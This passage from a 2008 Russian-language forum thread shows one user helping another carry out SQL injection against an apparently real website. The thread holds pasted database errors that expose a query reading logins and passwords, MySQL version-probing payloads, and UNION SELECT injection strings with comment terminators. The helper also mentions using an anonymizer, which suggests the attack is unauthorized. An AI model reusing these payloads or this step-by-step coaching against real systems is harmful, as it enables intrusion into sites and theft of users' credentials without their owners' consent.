проблема в том что UNION не проходит [warning : 173 : select execution error 'ERROR: syntax error at or near "UNION" LINE 1: ...spam FROM face AS F,company AS C WHERE (F.id = -1 UNION SELE... ^' in command 'SET_FROM_SELECT:$THIS.type|$THIS.companyid|$THIS.status|$THIS.login|$THIS.password|$THIS.name|$THIS.phone|$THIS.fax|$THIS.email|$THIS.department|$THIS.faceposition|$THIS.blocked|$THIS.companytitle|$THIS.antispam:EXPORT_DATA = F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam;FROM = face AS F,company AS C;F.id = $THIS.faceid AND C.id = F.companyid', select string : 'SELECT F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam FROM face AS F,company AS C WHERE (F.id = -1 UNION SELECT 1-- AND C.id = F.companyid)'] [warning : variable $companyid does not exist in command 'SET_FROM_SELECT:$THIS.mainfaceid:EXPORT_DATA = id;FROM = face;ORDER_BY = type DESC;LIMIT = 1;companyid = $THIS.companyid AND type IN (1,2)']
[/code]
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:35:42.200000
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Сообщение - муть какая-то. Но попробую разобраться. Попробуй &faceid=1+/*!00000 '*/ Если вылетела ошибка значит это мускул. Дальше &faceid=1+/*!30000 '*/ &faceid=1+/*!40000 '*/ &faceid=1+/*!50000 '*/ Увеличивай первую цифру до тех пор пока не вылезет ошибка. Тогда возвращайся на шаг назад и начинай увеличивать вторую опять до появления ошибки. Определи так хотя бы первые три цифры. Таким образом получи версию мускула. А там посмотрим. P.S. Попробуй так: &faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14– Если не получится то замени в конце – на /* Напиши, что выдаст.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-23 07:50:00.316666
|
|
|
alex7474
Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
|
[image]http://www.usetender.com/images/spacer.gif[/image] [warning : 173 : select execution error 'ERROR: unterminated /* comment at or near "/* AND C.id = F.companyid)" LINE 1: ... -1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14/* AND C.i... ^' in command 'SET_FROM_SELECT:$THIS.type|$THIS.companyid|$THIS.status|$THIS.login|$THIS.password|$THIS.name|$THIS.phone|$THIS.fax|$THIS.email|$THIS.department|$THIS.faceposition|$THIS.blocked|$THIS.companytitle|$THIS.antispam:EXPORT_DATA = F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam;FROM = face AS F,company AS C;F.id = $THIS.faceid AND C.id = F.companyid', select string : 'SELECT F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam FROM face AS F,company AS C WHERE (F.id = -1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14/* AND C.id = F.companyid)'] [warning : variable $companyid does not exist in command 'SET_FROM_SELECT:$THIS.mainfaceid:EXPORT_DATA = id;FROM = face;ORDER_BY = type DESC;LIMIT = 1;companyid = $THIS.companyid AND type IN (1,2)']
[/code]
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-23 09:45:35.033333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
В данном случае запрос походу правильный, но дело в том, что не закрыт коментарий. Проведи: &faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14– &faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14%23 Напиши, что ответит. Я и сам бы попробовал, но у меня сейчас плохая линия и анонимайзер не хочет работать.[:(]
|
|
|
|
|